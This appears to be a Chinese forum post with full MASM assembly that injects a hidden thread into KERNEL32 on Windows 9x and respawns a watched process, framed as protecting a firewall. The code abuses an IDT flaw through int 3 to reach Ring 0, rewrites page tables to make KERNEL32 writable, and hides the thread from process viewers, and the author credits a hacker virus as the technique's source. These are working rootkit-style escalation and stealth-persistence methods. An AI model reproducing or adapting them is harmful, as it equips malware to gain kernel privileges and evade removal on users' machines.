WIN9X下内核线程注入及进程不死术,彻底保护防火墙
我们知道在NT内核下可以通过CreateRemoteThread插入到其他进程地址空间,这样可以让我们的线程脱离本身的进程而存在,但在WIN9X下则不行,但在WHG的中国黑客中却加入了WIN9X内核线程注入技术,可以将自己的线程注入到KERNEL32。DLL中,但在他的代码中是通过WinExec来实现从启病毒进程,而在WIN32下最好是通过CreateProcessA来实现,可该函数在执行时,必须往相应的内存中写入StartInfo ,ProcessInfo 等信息,而KERNEL32在RING3却是只读的,所以我改进了一下,将其改为可读写,这样RING3进程可以任意修改API,HOOK也可以很简单了,在注入的过程中用到了未公开的API,CreateKernelThread,由于MSDN上没有说明所以只能自己猜,在这里我将自己的线程注入到KERNEL32的地址BFF70600H中(这段都是空的,其代码从BFF71000H开始),我调试时发现,调用该API后系统便转移到我注入的内核线程中开始执行,到WaitForSingleObject,返回原进程继续执行至结束,然后再返回到注入内核线程的WaitForSingleObject后继续执行,这样我们就 可以让自己的线程脱离进程而进入KERNEL32空间运行,在系统的进程查看器中也找不到我插入的线程,通过上面的方法我把上次WIN9X进程监控代码移至内核中,本来发现速度太慢,后来增加SLEEP时间就可以了
大家参考看看,这里我用来监控NOTEPAD,大家也可以将其改为你自己防火墙的名字
.386p
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
MoveDataToKnl PROTO :dword,:dword,:dword
.data
User db 'User32.dll',0
KnlOpenProcessStr db 'OpenProcess',0
KnlWaitForObjectStr db 'WaitForSingleObject',0
KnlSleepStr db 'Sleep',0
KnlCreateKnlThreadStr db 'CreateKernelThread',0
KnlGetStartupInfoStr db 'GetStartupInfoA',0
KnlCreateProcessStr db 'CreateProcessA',0
KnlGetExitCodeProcessStr db 'GetExitCodeProcess',0
UserMessageBoxStr db 'MessageBoxA',0
.code
;问题,要Sleep()这样做使Kernel32有机会更新数据
KnlThread proc ProcID:dword
call GetKnlSleep
KnlSleep dd ?
GetKnlSleep:
pop eax
push 0h
call dword ptr[eax]
call GetKnlOpenProcess
KnlOpenProcess dd ?
GetKnlOpenProcess:
pop eax
push ProcID
push FALSE
push PROCESS_ALL_ACCESS
call dword ptr[eax]
or eax,eax
jz ExitProtectProc
mov ebx,eax
call GetKnlWaitForSingleObject
KnlWaitForSingleObject dd ?
GetKnlWaitForSingleObject:
pop eax
push -1h
push ebx
call dword ptr[eax]
Run:
call Next
Next:
pop esi
sub esi,offset Next
lea ebx,StartInfo[esi]
call GetStartupIn
KnlGetStartupInfo dd ?
GetStartupIn:
pop eax
push ebx
call dword ptr[eax]
call GetCreateProcess
KnlCreateProcess dd ?
GetCreateProcess:
pop eax
lea ebx,ProcessInfo[esi]
push ebx
lea ebx,StartInfo[esi]
push ebx
push 0
push 0
push NORMAL_PRIORITY_CLASS
push 0
push 0
push 0
push 0
call GetFileNameAddress
FileName db 'c:\windows\notepad.exe',0
GetFileNameAddress:
call dword ptr[eax]
or eax,eax
jz ExitProtectProc
mov ebx,eax
@@CheckStatus:
lea eax,KnlSleep[esi]
push 500h
call dword ptr[eax]
call GetGetExitCodeProcess
KnlGetExitCodeProcess dd ?
GetGetExitCodeProcess:
pop eax
push ebx
push esp
push ProcessInfo.hProcess[esi]
call dword ptr[eax]
or eax,eax
jz ExitProtectProc
pop eax
cmp eax,STILL_ACTIVE
jz @@CheckStatus
call GetMessageBox
UserMessageBox dd ?
GetMessageBox:
pop eax
call MsgOK
db 'NotePad Exit ??',0
MsgOK:
pop ebx
push MB_YESNO
push ebx
push ebx
push 0
call dword ptr[eax]
cmp eax,IDNO
jz Run
ExitProtectProc:
ret
KnlThread endp
StartInfo STARTUPINFO<>
ProcessInfo PROCESS_INFORMATION<>
KnlThreadLength = $-KnlThread
Start:
invoke GetProcAddress,0bff70000h,offset KnlOpenProcessStr
mov KnlOpenProcess,eax
invoke GetProcAddress,0bff70000h,offset KnlWaitForObjectStr
mov KnlWaitForSingleObject,eax
invoke GetProcAddress,0bff70000h,offset KnlGetStartupInfoStr
mov KnlGetStartupInfo,eax
invoke GetProcAddress,0bff70000h,offset KnlCreateProcessStr
mov KnlCreateProcess,eax
invoke GetProcAddress,0bff70000h,offset KnlGetExitCodeProcessStr
mov KnlGetExitCodeProcess,eax
invoke GetProcAddress,0bff70000h,offset KnlSleepStr
mov KnlSleep,eax
invoke GetModuleHandle,offset User
or eax,eax
jnz OK
invoke LoadLibraryA,offset User
OK:
invoke GetProcAddress,eax,offset UserMessageBoxStr
mov UserMessageBox,eax
invoke MoveDataToKnl,offset KnlThread ,0bff70600h,KnlThreadLength
;ret
;int 3;
invoke GetProcAddress,0bff70000h,offset KnlCreateKnlThreadStr
mov ebx,eax
call GetCurrentProcessId
push eax
push esp
push 0
push eax
push 0bff70000h+600h
push 0
push 0
call ebx
pop eax
invoke MessageBoxA,0,offset FileName,offset FileName,0
Exit:
invoke ExitProcess,0 ;ret
MoveDataToKnl proc Src:dword,Des:dword,nCx:dword
push ebx
push esi
push edi
push eax
sidt [esp-2]
pop eax
add eax,3*8
mov ebx,[eax]
mov edx,[eax+4]
call SetIdt03
pushad ;Ring0
mov eax,cr3 ;设置KERNEL32为可读写
and eax,0fffff000h
push eax
call P2L
mov edx,0bff70000h
shr edx,22
shl edx,2
mov eax,[eax+edx]
cmp eax,1
jz GExit
and eax,0fffff000h
push eax
call P2L
push eax
mov edx,0bff70000h
shl edx,10
shr edx,22
shl edx,2
mov eax,[eax+edx]
cmp eax,1
jz GExit
pop ecx
or eax,7h
mov [ecx+edx],eax
GExit:
popad
cli
pushad
mov [eax],ebx
mov [eax+4],edx
cld
rep movsb ;复制代码/数据到内核代码指定位置
popad
sti
push ebp
mov ebp,esp ;抵消系统自动生成的LEAVE指令
iretd
SetIdt03:
pop word ptr[eax]
pop word ptr[eax+6]
mov esi,Src
mov edi,Des
mov ecx,nCx
int 3 ;利用Win9x,IDT漏洞进入系统内核
pop edi
pop esi
pop ebx
ret
MoveDataToKnl endp
P2L proc P2LAddress:DWORD ;物理地址->线性性地址
push P2LAddress
int 20h
dd 0001006ch ;VmmCall_MapPhysToLinear
add esp,4
ret
P2L endp
end Start